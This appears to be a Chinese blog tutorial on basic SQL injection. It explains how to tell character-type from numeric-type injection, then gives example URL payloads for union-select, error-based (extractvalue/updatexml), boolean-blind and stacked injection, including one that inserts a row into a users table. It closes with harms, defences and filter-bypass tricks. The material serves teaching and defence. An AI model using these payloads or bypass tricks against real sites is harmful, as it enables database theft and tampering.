[基础漏洞]sql注入漏洞

本文探讨了前端用户输入如何导致后端SQL语句被恶意拼接,引发字符型和数字型判断,进而通过unionselect等手法进行数据泄漏。文中详细介绍了各种注入类型的实例、危害以及防御措施,包括添加WAF、输入过滤和权限管理。
摘要由CSDN通过智能技术生成

原理:

        前端用户的输入拼接到了 后端的sql语句中打断了原有sql语句含义,造成了数据的泄漏。 

类型:

    字符型 

         我们进行加减看是否会有变化如果进行逻辑运算则就是数字型否则就是字符型。

?id=1'

      

输入?id=1'页面和输入?id=1+1'页面是否一致,如果一致是字符型。

?id=1+1 

判断属于字符型

  数字型:

       发现页面更改,判断是数字型。

?id=2

输入?id=2页面和输入?id=2-1页面,两个页面不一致,那么?id=2-1的也页面进行逻辑运算

?id=2-1

判断属于数字型

手法:

       联合查询:

           关键字:union select

           利用union select 语句,同时执行两条语句

?id=3  UNION SELECT  1,2,database(),4;

       报错注入:

           关键字:updatexml     extractvalue

           在判断过程中,发现数据库中的SQL语句报错,显示在页面中

?id=1' and  extractvalue(1,concat(0x5e,(select database()),0x5e)) --+

extractvalue()

updatexml()

?id=1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

       布尔盲注:

          关键字:length()

          要对内容进行判断,此时页面正常,数据库名长度是8 。

?id=2' and length(database())=8 --+

    

       延时注入:

           关键字: sleep()

              查询超过数据库名长度显示出错。

堆叠注入向

?id=1' ;insert into users(id,username,password) value (123,database(),'123456789') --+ 

    

?id=123

危害:

     数据库信息泄露

     网页篡改

     网站被挂马,传播恶意软件

     数据库被恶意操作

     服务器被植入后门

     破坏硬盘或者服务器等硬件设备

    

防御:

        关闭应用的错误提示

       加waf

      对输入进行过滤

      限制输入长度

      限制好数据库权限,drop/create/truncate等权限谨慎grant

       黑面单union select

     

绕过:

大小写绕过

双写绕过

使用 ||(or) 和 &&(and) (使用时进行URL编码%26)

–+注释 +代替空格

总结:
       后端代码中存在sql语句拼接了一个变量,该变量前端可控,一但被恶意攻击所利用,那么可以把自己查询语句拼接后端原有语句,查询他想要的数据。危害,服务器湿泄,有量数据泄露,防御添加黑面单,过滤关节,如 union select   updatexml     extractvalue  length   sleep 等的关键字。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值